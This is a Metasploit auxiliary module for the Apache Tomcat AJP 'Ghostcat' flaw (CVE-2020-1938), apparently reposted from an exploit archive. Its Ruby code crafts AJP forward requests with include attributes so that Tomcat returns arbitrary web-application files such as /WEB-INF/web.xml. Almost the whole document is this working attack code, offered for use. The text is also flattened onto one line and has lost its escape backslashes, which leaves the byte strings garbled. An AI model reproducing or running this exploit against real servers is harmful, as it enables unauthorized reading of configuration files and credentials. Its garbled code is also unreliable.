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Apache Tomcat AJP Ghostcat File Read/Inclusion (Metasploit)

2020-11-21 04:51
require "msf/core"class MetasploitModule < Msf::Auxiliary    Rank = ExcellentRanking    include Msf::Exploit::Remote::Tcp    def initialize(info = {})        super(update_info(info,            "Name" => "Ghostcat",            "Description" => %q{                When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.            },            "Author" =>            [                "A Security Researcher of Chaitin Tech", #POC                "ThienNV - SunCSR" #Metasploit Module            ],            "License" => MSF_LICENSE,            "References" =>                [                    [ "CVE", "2020-1938"]                ],            "Privileged" => false,            "Platform" => %w{ java linux win},            "Targets" =>            [                ["Automatic",                    {                        "Arch" => ARCH_JAVA,                        "Platform" => "win"                    }                ],                [ "Java Windows",                    {                    "Arch" => ARCH_JAVA,                    "Platform" => "win"                    }                ],                [ "Java Linux",                    {                    "Arch" => ARCH_JAVA,                    "Platform" => "linux"                    }                ]            ],            "DefaultTarget" => 0))        register_options(            [                OptString.new("FILENAME",[true,"File name","/WEB-INF/web.xml"]),                OptBool.new('SSL', [ true, 'SSL', false ]),                OptPort.new('PORTWEB', [ false, 'Set a port webserver'])            ],self.class)    end    def method2code(method)        methods = {            "OPTIONS" => 1,            "GET" => 2,            "HEAD" => 3,            "POST" => 4,            "PUT" => 5,            "DELETE" => 6,            "TRACE" => 7,            "PROPFIND" => 8        }        code = methods[method]        return code    end        def make_headers(headers)        header2code = {            "accept" => "xA0x01",            "accept-charset" => "xA0x02",            "accept-encoding" => "xA0x03",            "accept-language" => "xA0x04",            "authorization" => "xA0x05",            "connection" => "xA0x06",             "content-type" => "xA0x07",             "content-length" => "xA0x08",             "cookie" => "xA0x09",              "cookie2" => "xA0x0A",             "host" => "xA0x0B",             "pragma" => "xA0x0C",            "referer" => "xA0x0D",             "user-agent" => "xA0x0E"        }        headers_ajp = Array.new        for (header_name, header_value) in headers do            code = header2code[header_name].to_s            if code != ""                headers_ajp.append(code)                headers_ajp.append(ajp_string(header_value.to_s))            else                headers_ajp.append(ajp_string(header_name.to_s))                headers_ajp.append(ajp_string(header_value.to_s))            end        end        return int2byte(headers.length,2), headers_ajp    end    def make_attributes(attributes)        attribute2code = {            "remote_user" => "x03",            "auth_type" => "x04",            "query_string" => "x05",            "jvm_route" => "x06",            "ssl_cert" => "x07",            "ssl_cipher" => "x08",            "ssl_session" => "x09",            "req_attribute" => "x0A",            "ssl_key_size" => "x0B"        }        attributes_ajp = Array.new        for attr in attributes            name = attr.keys.first.to_s            code = (attribute2code[name]).to_s            value = attr[name]            if code != ""                attributes_ajp.append(code)                if code == "x0A"                    for v in value                        attributes_ajp.append(ajp_string(v.to_s))                    end                else                    attributes_ajp.append(ajp_string(value.to_s))                end            end        end        return attributes_ajp    end        def ajp_string(message_bytes)        message_len_int = message_bytes.length        return int2byte(message_len_int,2) + message_bytes + "x00"    end        def int2byte(data, byte_len=1)        if byte_len == 1            return [data].pack("C")        else            return [data].pack("n*")        end    end        def make_forward_request_package(method,headers,attributes)            prefix_code_int = 2        prefix_code_bytes = int2byte(prefix_code_int)        method_bytes = int2byte(method2code(method))        protocol_bytes = "HTTP/1.1"        req_uri_bytes = "/index.txt"        remote_addr_bytes = "127.0.0.1"        remote_host_bytes = "localhost"        server_name_bytes = datastore['RHOST'].to_s                if datastore['SSL'] == true            is_ssl_boolean = 1        else            is_ssl_boolean = 0        end        server_port_int = datastore['PORTWEB']        if server_port_int.to_s == ""            server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443        end        is_ssl_bytes = int2byte(is_ssl_boolean,1)        server_port_bytes = int2byte(server_port_int, 2)        headers.append(["host", "#{server_name_bytes}:#{server_port_int}"])        num_headers_bytes, headers_ajp_bytes = make_headers(headers)                attributes_ajp_bytes = make_attributes(attributes)        message = Array.new        message.append(prefix_code_bytes)        message.append(method_bytes)        message.append(ajp_string(protocol_bytes.to_s))        message.append(ajp_string(req_uri_bytes.to_s))        message.append(ajp_string(remote_addr_bytes.to_s))        message.append(ajp_string(remote_host_bytes.to_s))        message.append(ajp_string(server_name_bytes.to_s))        message.append(server_port_bytes)        message.append(is_ssl_bytes)        message.append(num_headers_bytes)        message += headers_ajp_bytes        message += attributes_ajp_bytes        message.append("xff")        message_bytes = message.join        send_bytes = "x12x34" + ajp_string(message_bytes.to_s)        return send_bytes    end    def send_recv_once(data)        buf = ""        begin            connect(true, {'RHOST'=>"#{datastore['RHOST'].to_s}", 'RPORT'=>datastore['RPORT'].to_i, 'SSL'=>datastore['SSL']})            sock.put(data)            buf = sock.get_once || ""        rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e            elog("#{e.class} #{e.message}n#{e.backtrace * "n"}")        ensure            disconnect        end        return buf    end    def read_buf_string(buf, idx)        len = buf[idx..(idx+2)].unpack('n')[0]        idx += 2        print "#{buf[idx..(idx+len)]}"        idx += len + 1        idx    end    def parse_response(buf, idx)        common_response_headers = {            "x01" => "Content-Type",            "x02" => "Content-Language",            "x03" => "Content-Length",            "x04" => "Date",            "x05" => "Last-Modified",            "x06" => "Location",            "x07" => "Set-Cookie",            "x08" => "Set-Cookie2",            "x09" => "Servlet-Engine",            "x0a" => "Status",            "x0b" => "WWW-Authenticate",        }        idx += 2        idx += 2        if buf[idx] == "x04"            idx += 1            print "Status Code: "            idx += 2            idx = read_buf_string(buf, idx)            puts            header_num = buf[idx..(idx+2)].unpack('n')[0]            idx += 2            for i in 1..header_num                if buf[idx] == "xA0"                    idx += 1                    print "#{common_response_headers[buf[idx]]}: "                    idx += 1                    idx = read_buf_string(buf, idx)                    puts                else                    idx = read_buf_string(buf, idx)                    print(": ")                    idx = read_buf_string(buf, idx)                    puts                end            end        elsif buf[idx] == "x05"            return 0        elsif buf[idx] == "x03"            idx += 1            puts            idx = read_buf_string(buf, idx)        else            return 1        end        parse_response(buf, idx)    end    def run        headers = Array.new        method = "GET"        target_file = datastore['FILENAME'].to_s        attributes = [            {"req_attribute" => ["javax.servlet.include.request_uri", "index"]},            {"req_attribute" => ["javax.servlet.include.path_info" , target_file]},            {"req_attribute" => ["javax.servlet.include.servlet_path" , "/"]}        ]        data = make_forward_request_package(method, headers, attributes)        buf = send_recv_once(data)        parse_response(buf, 0)    endend


Source: 1710110202-BLW/eussi/moc.ytirucesxc

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